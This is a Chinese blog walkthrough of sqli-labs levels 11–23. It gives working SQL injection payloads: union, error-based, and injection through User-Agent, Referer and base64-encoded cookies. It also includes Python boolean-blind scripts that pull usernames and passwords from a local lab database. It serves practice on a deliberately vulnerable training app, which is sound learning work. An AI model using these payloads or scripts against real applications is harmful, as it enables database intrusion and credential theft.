网络安全之sql靶场（11-23）

于 2024-08-06 01:00:02 发布
阅读量682 收藏 4
点赞数 9
文章标签： web安全 安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/huizhaohaha/article/details/140922943
版权

sql靶场（11-23）

目录

第十一关（post注入）

第十二关

第十三关

第十四关

第十五关

第十六关

第十七关

第十八关

第十九关

第二十关

第二十一关

第二十二关

第二十三关

第十一关（post注入）

查看页面

我们发现是有注入点的，所以我们可以尝试使用联合查询注入

我们发现联合查询注入是可行的，接下来就是该爆数据库、表、字段和用户账号密码

aaa' union select 1,database()#
aaa' union select 1,group_concat(table_name) from information_schema.tables where table_schema ='security'#
aaa' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#
aaa' union select 1,group_concat(username ,0x3a , password) from users#

结果

第十二关

查看页面

尝试之后发现这一关和十一关只是闭合方式不同

aaa") union select 1,database()#
aaa") union select 1,group_concat(table_name) from information_schema.tables where table_schema ='security'#
aaa") union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#
aaa") union select 1,group_concat(username ,0x3a , password) from users#

结果

第十三关

查看页面，经过测试发现，只有报错注入可以回显，同时闭合方式也和之前有所不同。

aaa') and updatexml(1,user(),1)#
aaa') and updatexml(1,concat('~',(select database()),'~'),1)#
aaa') and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='security'),0x7e),1)#
aaa') and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema ='security' and table_name='users'),0x7e),1)#
aaa') and updatexml(1,concat(0x7e,(select concat(username,0x3a,password)from users limit 0,1),0x7e),1)#

由于只能显示一个字段，所以我们使用limit进行逐个输出（我这里只输出第一组用户名和密码，其余自己进行）

第十四关

查看页面，经过测试发现这一关和第十三关只是闭合方式不同，所以我们依旧需要使用报错注入进行注入

aaa" and updatexml(1,user(),1)#
aaa" and updatexml(1,concat('~',(select database()),'~'),1)#
aaa" and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='security'),0x7e),1)#
aaa" and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema ='security' and table_name='users'),0x7e),1)#
aaa" and updatexml(1,concat(0x7e,(select concat(username,0x3a,password)from users limit 0,1),0x7e),1)#

结果

第十五关

查看页面，经过不断测试，发现页面只有成功与失败两个界面，所以我的第一想法就是布尔盲注

所以我们使用脚本直接爆出来这关

import requests

#爆破数据库名
# def inject_database(url):
#     name = ''
#     for i in range(1, 20):
#         min_value = 32
#         max_value = 128
#         mid = (min_value + max_value) // 2
#         while min_value < max_value:
#             data = {
#                 "uname": "aaaa' or ascii(substr(database(),%d,1))> %d#" % (i,mid),
#                 "passwd": "aaa"
#                     }
#             r = requests.post(url=url, data=data)
#             if "flag.jpg" in r.text:
#                 min_value = mid + 1
#             else:
#                 max_value = mid
#             mid = (min_value + max_value) // 2
#         if mid == 32:
#             break
#         name += chr(mid)
#         print(name)
#     return name

#爆破表名
# def inject_database(url):
#     name = ''
#     for i in range(1, 20):
#         min_value = 32
#         max_value = 128
#         mid = (min_value + max_value) // 2
#         while min_value < max_value:
#             data = {
#                 "uname": "aaa' or ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='security'), %d, 1)) > %d#" % (i, mid),
#                 "passwd": "aaa"
#                     }
#             r = requests.post(url=url, data=data)
#             if "flag.jpg" in r.text:
#                 min_value = mid + 1
#             else:
#                 max_value = mid
#             mid = (min_value + max_value) // 2
#         if mid == 32:
#             break
#         name += chr(mid)
#         print(name)
#     return name

#爆破列名
# def inject_database(url):
#     name = ''
#     for i in range(1, 20):
#         min_value = 32
#         max_value = 128
#         mid = (min_value + max_value) // 2
#         while min_value < max_value:
#             data = {
#                 "uname": "aaa' or ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users'), %d, 1)) > %d#" % (i, mid),
#                 "passwd": "aaa"
#                     }
#             r = requests.post(url=url, data=data)
#             if "flag.jpg" in r.text:
#                 min_value = mid + 1
#             else:
#                 max_value = mid
#             mid = (min_value + max_value) // 2
#         if mid == 32:
#             break
#         name += chr(mid)
#         print(name)
#     return name

#爆破用户和密码
def inject_database(url):
    name = ''
    for i in range(1, 20):
        min_value = 32
        max_value = 128
        mid = (min_value + max_value) // 2
        while min_value < max_value:
            data = {
                "uname": "aaa' or ascii(substr((select group_concat(username, 0x3a, password) from users), %d, 1)) > %d#" % (i, mid),
                "passwd": "aaa"
                    }
            r = requests.post(url=url, data=data)
            if "flag.jpg" in r.text:
                min_value = mid + 1
            else:
                max_value = mid
            mid = (min_value + max_value) // 2
        if mid == 32:
            break
        name += chr(mid)
        print(name)
    return name


if __name__ == "__main__":
    url = 'http://127.0.0.1/sqllabs/Less-15/'
    inject_database(url)

结果

第十六关

查看页面发现这一关和第十五关只有闭合方式不一样

import requests

#爆破数据库名
# def inject_database(url):
#     name = ''
#     for i in range(1, 20):
#         min_value = 32
#         max_value = 128
#         mid = (min_value + max_value) // 2
#         while min_value < max_value:
#             data = {
#                 "uname": 'aaaa") or ascii(substr(database(),%d,1))> %d#' % (i,mid),
#                 "passwd": "aaa"
#                     }
#             r = requests.post(url=url, data=data)
#             if "flag.jpg" in r.text:
#                 min_value = mid + 1
#             else:
#                 max_value = mid
#             mid = (min_value + max_value) // 2
#         if mid == 32:
#             break
#         name += chr(mid)
#         print(name)
#     return name

#爆破表名
# def inject_database(url):
#     name = ''
#     for i in range(1, 20):
#         min_value = 32
#         max_value = 128
#         mid = (min_value + max_value) // 2
#         while min_value < max_value:
#             data = {
#                 "uname": 'aaa") or ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema="security"), %d, 1)) > %d#' % (i, mid),
#                 "passwd": "aaa"
#                     }
#             r = requests.post(url=url, data=data)
#             if "flag.jpg" in r.text:
#                 min_value = mid + 1
#             else:
#                 max_value = mid
#             mid = (min_value + max_value) // 2
#         if mid == 32:
#             break
#         name += chr(mid)
#         print(name)
#     return name

#爆破列名
# def inject_database(url):
#     name = ''
#     for i in range(1, 20):
#         min_value = 32
#         max_value = 128
#         mid = (min_value + max_value) // 2
#         while min_value < max_value:
#             data = {
#                 "uname": 'aaa") or ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema = "security" and table_name = "users"), %d, 1)) > %d#' % (i, mid),
#                 "passwd": "aaa"
#                     }
#             r = requests.post(url=url, data=data)
#             if "flag.jpg" in r.text:
#                 min_value = mid + 1
#             else:
#                 max_value = mid
#             mid = (min_value + max_value) // 2
#         if mid == 32:
#             break
#         name += chr(mid)
#         print(name)
#     return name

#爆破用户和密码
def inject_database(url):
    name = ''
    for i in range(1, 20):
        min_value = 32
        max_value = 128
        mid = (min_value + max_value) // 2
        while min_value < max_value:
            data = {
                "uname": 'aaa") or ascii(substr((select group_concat(username, 0x3a, password) from users), %d, 1)) > %d#' % (i, mid),
                "passwd": 'aaa'
                    }
            r = requests.post(url=url, data=data)
            if "flag.jpg" in r.text:
                min_value = mid + 1
            else:
                max_value = mid
            mid = (min_value + max_value) // 2
        if mid == 32:
            break
        name += chr(mid)
        print(name)
    return name


if __name__ == "__main__":
    url = 'http://127.0.0.1/sqllabs/Less-16/'
    inject_database(url)

结果

第十七关

这一关查看源码后发现，username不能进行注入了，但是password依然可以进行注入，但是这就有一个前提条件就是username必须输入正确。可以这一关的页面后发现这一关其实就是改密码，既然是改密码那么你就必须知道用户名了

证明我的想法是正确的，就是在密码这里进行注入

aaa' and updatexml(1,user(),1)#
aaa' and updatexml(1,concat('~',(select database()),'~'),1)#
1' and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='security'),0x7e),1)#
1' and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema ='security' and table_name='users'),0x7e),1)#
1' and (select 1 from (select count(*),concat(concat(0x7e,(select concat(username,0x3a,password)from users limit 0,1),0x7e),floor(rand(0)*2))x from information_schema.tables group by x)a)#

结果

很明显，成功爆出来用户名和密码啦，想要继续爆就修改limit后面的参数就可以啦。

第十八关

查看页面

这一关经过测试感觉和之前的有些区别啦，这时候我分析源码后发现注入点在user-agent上，所以我们可以试着抓包进行注入（使用抓包工具burpsuite进行抓包）

首先使用proxy模块进行抓包，抓取后发送到repeater模块进行分析修改

很明显可以看出来有注入点啦

aaa' and updatexml(1,concat(0x7e,(select user()),0x7e),1) and '1'='1

aaa' and updatexml(1,concat('~',(select database()),'~'),1) and '1'='1

1' and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='security'),0x7e),1) and '1'='1

1' and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema ='security' and table_name='users'),0x7e),1) and '1'='1

1' and (select 1 from (select count(*),concat(concat(0x7e,(select concat(username,0x3a,password)from users limit 0,1),0x7e),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1

很明显成功爆出来了他的用户名和密码。

第十九关

查看页面，感觉这一关和十八关有些类似

我直接进行了抓包，通过不断测试，发现注入点在referer上面

那么我就可以直接注入了

aaa' and updatexml(1,concat(0x7e,(select user()),0x7e),1) and '1'='1

aaa' and updatexml(1,concat('~',(select database()),'~'),1) and '1'='1

1' and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='security'),0x7e),1) and '1'='1

1' and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema ='security' and table_name='users'),0x7e),1) and '1'='1

1' and (select 1 from (select count(*),concat(concat(0x7e,(select concat(username,0x3a,password)from users limit 0,1),0x7e),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1

结果

第二十关

查看页面并登录成功后发现cookie在页面中有点突出

所以直接抓包修改cookie看是不是注入点，结果显而易见是注入点

aaa' and updatexml(1,concat(0x7e,(select user()),0x7e),1) and '1'='1

aaa' and updatexml(1,concat('~',(select database()),'~'),1) and '1'='1

1' and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='security'),0x7e),1) and '1'='1

1' and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema ='security' and table_name='users'),0x7e),1) and '1'='1

admin' and (select 1 from (select count(*),concat(concat(0x7e,(select concat(username,0x3a,password)from users limit 0,1),0x7e),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1

结果

第二十一关

查看页面并成功登录后发现页面cookie进行了编码

那么我有理由猜测吧payload进行编码再注入，会不会爆出东西呢，试一试，

看来我猜测是没错，那么接下来就是把payload语句进行base64编码后在进行注入，这里不得不说burpsuite的优势了，自带编码模块（感觉挺爽得啦），payload放下面啦，自己进行编码吧

aaa' and updatexml(1,concat(0x7e,(select user()),0x7e),1) and '1'='1

aaa' and updatexml(1,concat('~',(select database()),'~'),1) and '1'='1

1' and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='security'),0x7e),1) and '1'='1

1' and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema ='security' and table_name='users'),0x7e),1) and '1'='1

admin' and (select 1 from (select count(*),concat(concat(0x7e,(select concat(username,0x3a,password)from users limit 0,1),0x7e),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1

结果

第二十二关

查看页面并成功登录后发现页面的cookie依然进行了编码，那我有理由怀疑是不是闭合方式变了呢，直接试一试

因为这个也是需要进行base64编码，自己进行编码

aaa" and updatexml(1,concat(0x7e,(select user()),0x7e),1) and "1"="1

aaa" and updatexml(1,concat('~',(select database()),'~'),1) and '1'="1

1" and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='security'),0x7e),1) and '1'="1

1" and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema ='security' and table_name='users'),0x7e),1) and '1'="1

admin" and (select 1 from (select count(*),concat(concat(0x7e,(select concat(username,0x3a,password)from users limit 0,1),0x7e),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'="1

结果

第二十三关

查看页面后发现这一关又回到了我们的老朋友GET传参啦

试过好多后无从下手，解读源代码后发现这一关进行了过滤，

想了一下，既然过滤了注释符，娜美我们直接进行闭合试一试

经过测试发现我的想法是可行的，

那么进行全过程是爆破吧

爆表
http://127.0.0.1/sqllabs/less-23/?id=-1%27%20union%20select%201,2,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema%20=%27security%27%20and%20%271%27=%271

爆字段
http://127.0.0.1/sqllabs/less-23/?id=-1%27%20union%20select%201,2,group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=%27users%27%20and%20%271%27=%271

爆用户和密码
http://127.0.0.1/sqllabs/less-23/?id=-1%27%20union%20select%201,2,group_concat(username%20,0x3a%20,%20password)%20from%20users%20where%20%271%27=%271

结果

接下来的24关我会放在单独的一片文档中，因为24关事二次注入，所以我还会引入两个ctf的二次注入

稚锦
关注
  • 9
    点赞
  • 踩
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
网络安全web常用靶场
11-24
DoraBox-master.zip DVWA-master.zip pikachu-master.zip sqli-labs-master.zip upload-labs-master.zip VAuditDemo-master.zip ...woniunote-本书全套-20200331.sql WoniuSales-20180508-V1.4-bin.war
sql-bypass靶场
03-19
SQL注入是一种常见的网络安全漏洞，它允许攻击者通过在输入字段中插入恶意的SQL代码来操纵数据库。在"sql-bypass靶场"中，我们面对的是一个带有过滤机制的SQL注入场景，这意味着靶场已经设置了一些防御措施，以防止...
网络安全-自学笔记
热门推荐
关注网络安全、云原生安全
12-01 17万+
目录 WEB（应用）安全 前端安全 xss攻击 后端安全 文件上传漏洞 WebShell 解析安全 数据安全 sql注入 通信安全 WEB（应用）安全 前端安全 xss攻击 后端安全 文件上传漏洞 WebShell 解析安全 数据安全 sql注入 网络安全-sqlmap学习笔记 通信安全 网络-http协议学习笔记（消息结构、请求方法、状态码等） ...
Sql-labs靶场(1~28)
xhx836161547的博客
12-29 4969
sql注入经典靶场Sql-labs全关详解，正在加急更新中
pikachu靶场-SQL-Inject
braty_的博客
02-23 1249
在owasp发布的top10排行榜里，注入漏洞一直是危害排名第一的漏洞，其中注入漏洞里面首当其冲的就是数据库注入漏洞。一个严重的SQL注入漏洞，可能会直接导致一家公司破产！SQL注入漏洞主要形成的原因是在数据交互中，前端的数据传入到后台处理时，没有做严格的判断，导致其传入的“数据”拼接到SQL语句中后，被当作SQL语句的一部分执行。从而导致数据库受损（被脱裤、被删除、甚至整个服务器权限沦陷）。
网安学习之SQLLabs靶场1-16WP
Freshman2273的博客
07-28 803
1.outfile的作用为导出，依靠这个参数，但这个参数为none不让你导出，除非对方项目有需求进行过更改不然此漏洞无法生效，还有一个重要的点，我们压根不知道对方的网站物理路径。1.使用单引号进行尝试，发现2次回显不同，说明是get传参，单引号闭合。后面不再展示，过程同第一关，只不过是在1’后加’)’单引号尝试成功，猜测是字符型，结果也确实如此。判断字段数，输入到4时报错，常见的3字段。发现’#’被过滤，换’--+’进行尝试。
【网络安全 --- 靶场搭建】sqlserver SQL注入靶场搭建（提供资源）
m0_67844671的博客
10-10 933
【网络安全 --- 靶场搭建】sqlserver SQL注入靶场搭建（提供资源）
网络安全04-sql注入靶场第一关
m0_68976043的博客
01-28 2047
sql注入环境，这个环境网上很多教程，其大部分基本都是小皮面板加漏洞环境放在WWW目录下，搜一下很容易就搭建出来了，这里就不详细讲述了，最后搭建下来的图片如图所示。
SQL注入练习 --- Sqli-labs靶场
Zhuoqian_1的博客
03-11 262
这几天学习了一些基础的SQL注入，刷一刷Sqli-labs靶场来练习一下。 现在做了：0道 已完成： SQLi-LABS Page-1(Basic Challenges) Page-2 (Advanced Injections) Page-3 (Stacked Injections) Page-4 (Challenges)
SQLI-LABS靶场11-20关
qq_45314073的博客
10-16 3028
声明：所有文章仅供学习使用，且其中有些是在网上找的资料，或许有相同的，如若侵权，请联系删除 LESS11(POST注入): 判断是否动态网站 两种判断法： 第一种是从网页的后缀名判断，一般html、htm结尾的网页为通常所说的静态页面； 其他的诸如php,jsp,asp等等为通常所说的动态页面（PS:需要要注意的是，如果网站页面是由伪静态生成的，那就不一定了。比如wordpress、dede伪静态后的页面也可以是html的，伪静态其实也算静态。） 第二种就是通过url（网址）来判断 ，
Web安全-SQL注入【sqli靶场第11-14关】(三)
12-11 1030
Web安全-SQL注入【sqli靶场第11-14关】
sqli-lib靶场1-15关通关教程
m0_56109788的博客
04-25 1180
sqli-lib靶场1-15关通关教程
pikachu靶场包含网络安全中常见的漏洞
11-08
【网络安全靶场与常见漏洞详解】 "Pikachu靶场"是一个专门为网络安全爱好者和专业人士设计的实战演练平台，它集成了多种网络安全领域中的经典漏洞，帮助用户深入理解和掌握这些漏洞的原理、利用方法以及防范措施。...
DVWA网络安全靶场搭建与练习 附攻略和在线版
01-02
《DVWA网络安全靶场搭建与练习 附攻略和在线版》 网络安全靶场是一种模拟真实网络环境，用于安全教育、训练和测试安全技能的平台。DVWA（Damn Vulnerable Web Application）是其中非常受欢迎的一个开源项目，专为...
sql-lap注入靶场
05-02
SQL注入是一种常见的网络安全漏洞，它发生在应用程序不恰当地处理用户输入的SQL代码时。这个"sql-lap注入靶场"是专门为学习和实践SQL注入漏洞而设计的一个平台。在这个靶场中，你可以模拟黑客攻击，体验如何利用SQL...
网络安全入门教程（非常详细）从零基础入门到精通！
2301_77160226的博客
08-05 648
网络安全领域犹如一座深邃的知识宝库，从零基础入门到精通是一段充满挑战但也充满收获的旅程。这不仅需要您对知识的不懈追求，更需要大量的实践与经验积累。希望本教程能够为您的网络安全学习之路点亮明灯，引领您在这个充满机遇与挑战的领域中稳步前行，最终成为一名优秀的网络安全专家，为构建安全的网络世界贡献自己的力量！
【网络安全】本地文件包含及远程文件包含漏洞详解
最新发布
goldfish8848的博客
08-05 484
开发人员将需要重复调用的函数写入一个文件，对该文件进行包含时产生的操作。这样编写代码能减少冗余，降低代码后期维护难度。保证网站整体风格统一：导航栏、底部footer栏等，把这些不会变的东西包含在一个文件中，可以保证整体效果的统一和代码量的减少。
等保测评与网络安全应急响应机制建设：构建坚实的安全防线
A526847的博客
08-05 233
等保测评与网络安全应急响应机制建设是企业网络安全防护的两大支柱。企业应高度重视这两项工作，将其纳入日常管理中，形成常态化的风险管理机制。只有这样，才能确保在数字化时代中稳健前行，为业务的持续发展和创新提供有力保障。
网络安全中的IOC是指的什么？
Nove1205的博客
08-02 388
一分钟让你了解网络安全中的IOC是什么
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值